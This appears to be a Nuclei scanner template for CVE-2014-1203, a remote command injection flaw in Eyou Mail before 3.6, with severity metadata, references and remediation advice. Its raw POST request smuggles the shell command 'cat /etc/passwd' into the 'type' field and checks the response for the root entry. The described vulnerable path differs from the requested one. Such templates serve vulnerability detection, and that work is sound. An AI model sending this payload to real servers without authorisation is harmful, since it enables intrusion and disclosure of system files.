漏洞描述
Eyou Mail System before 3.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to admin/domain/ip_login_set/d_ip_login_get.php via the get_login_ip_config_file function.
id: CVE-2014-1203
info:
name: Eyou E-Mail <3.6 - Remote Code Execution
author: pikpikcu
severity: critical
description: Eyou Mail System before 3.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to admin/domain/ip_login_set/d_ip_login_get.php via the get_login_ip_config_file function.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade to a patched version of Eyou E-Mail <3.6 or apply the necessary security patches.
reference:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
- https://nvd.nist.gov/vuln/detail/CVE-2014-1203
- http://seclists.org/fulldisclosure/2014/Jan/32
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2014-1203
cwe-id: CWE-77
epss-score: 0.72725
epss-percentile: 0.98712
cpe: cpe:2.3:a:eyou:eyou:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: eyou
product: eyou
tags: cve2014,cve,seclists,rce,eyou,vuln
http:
- raw:
- |
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
type='|cat /etc/passwd||'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100d922ee7fd26145ca35350e9783b151e79764989637f6fac69707a2fdd660995502210098f455a4d94e4b5865d908b71122aba4f9ec28b6eb94311209ceaabf370def18:922c64590222798bb761d5b6d8e72950